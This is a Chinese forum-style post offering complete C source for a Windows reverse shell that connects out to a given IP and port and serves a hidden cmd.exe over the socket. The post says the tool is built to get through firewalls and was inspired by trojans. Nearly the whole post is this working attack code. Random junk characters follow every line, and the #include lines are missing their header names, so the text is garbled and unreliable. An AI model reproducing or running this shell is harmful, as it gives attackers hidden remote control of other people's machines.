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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :b,^J&~/)1  
"XLe3n  
/* ============================== OlQ,Ce  
Rebound port in Windows NT S|GWcSg  
By wind,2006/7 '?yCq$&  
===============================*/ Ab1/.~^  
#include FCc=e{  
#include -6Mm#sX  
B )JM%r  
#pragma comment(lib,"wsock32.lib") O;]?gj 1@  
Sb:T*N0gS  
void OutputShell(); I6LD)?  
SOCKET sClient; lKEa)KF[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k,Zm GllQ]  
bO/*2oau  
void main(int argc,char **argv) ,goBq3[%?  
{ W:QwHZ2O  
WSADATA stWsaData; C+MSVc  
int nRet; XDD<oo  
SOCKADDR_IN stSaiClient,stSaiServer; wp.TfKxw  
G;oFTP>o  
if(argc != 3) [[)_BmS5r  
{ <Jp1A# %p  
printf("Useage:\n\rRebound DestIP DestPort\n"); fj'j NE  
return; NgB 7?]vu  
} YTU.$t;Ez  
;S/7 h6  
WSAStartup(MAKEWORD(2,2),&stWsaData); &}`K^5K|O:  
aP>37s  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  \`xkp[C  
*,\` o~  
stSaiClient.sin_family = AF_INET; P l{QOR  
stSaiClient.sin_port = htons(0); }+Vv0jX|V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IdM*5Y>f  
qSO*$1i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1;W=!Fx  
{ Pcu|k/tk  
printf("Bind Socket Failed!\n"); 1ZKzumF  
return; H"+c)FGi  
} px9>:t[P  
2go>  
stSaiServer.sin_family = AF_INET; 1=Ilej1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oVB"f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b5e@oIK  
uiBTnG"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M'1HA  
{ :nQp.N*p  
printf("Connect Error!"); 8 HoP( +?  
return; qvLDfN  
} C 7n Kk/r  
OutputShell(); a]VGUW-  
} $<ddy/4  
S@:B6](D$  
void OutputShell() U 0ZB^`  
{ (clU$m+oXX  
char szBuff[1024]; Ls: =A6AGM  
SECURITY_ATTRIBUTES stSecurityAttributes; "'eWn6O(  
OSVERSIONINFO stOsversionInfo; <4D%v"zRP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X_70]^XL  
STARTUPINFO stStartupInfo; mPmB6q%)]  
char *szShell; \].J-^=  
PROCESS_INFORMATION stProcessInformation; WSI Xj5R  
unsigned long lBytesRead; (Imp $  
IG / $!* E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M<qudi  
FpkXOj?*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U7%28#@  
stSecurityAttributes.lpSecurityDescriptor = 0; 4=p@2g2"H  
stSecurityAttributes.bInheritHandle = TRUE; }#b %"I0  
b4~H3|  
H,>#|F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'H=weH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Gm&2R4)EP  
U4_"aT>M y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =FBIrw{w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6f}e+80  
stStartupInfo.wShowWindow = SW_HIDE; |R'i:=  
stStartupInfo.hStdInput = hReadPipe; 1-$P0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tj,2r]g`<  
v'nHFC+p  
GetVersionEx(&stOsversionInfo); if@W ]%  
iUNnPJh  
switch(stOsversionInfo.dwPlatformId) aW@oE ~`  
{ PqhlXqX9  
case 1: VBx,iuaw  
szShell = "command.com"; s-Y+x  
break; A! ;meVUs  
default: MCAXt1sL&E  
szShell = "cmd.exe"; Jf+7"![|  
break; UpeQOC  
} q$^<zY  
D_aR\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "3t\em!  
;? 8Iys#  
send(sClient,szMsg,77,0); deM~[1e[  
while(1) ~N[|bPRmhE  
{ 3zb)"\(R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bhKV +oN  
if(lBytesRead) ~_}4jnC  
{ FT_k^CC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WLy7'3@  
send(sClient,szBuff,lBytesRead,0); l%bq2,-%  
} 4qBY% 1  
else v@,XinB[  
{ :bw6k  
lBytesRead=recv(sClient,szBuff,1024,0); 3"B+xbe=  
if(lBytesRead<=0) break; ' C6:e?R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y~GUR&ww0n  
} w)<4>(D  
} m~Me^yt>}  
4[H,3}p9H  
return; -wIM0YJ  
}
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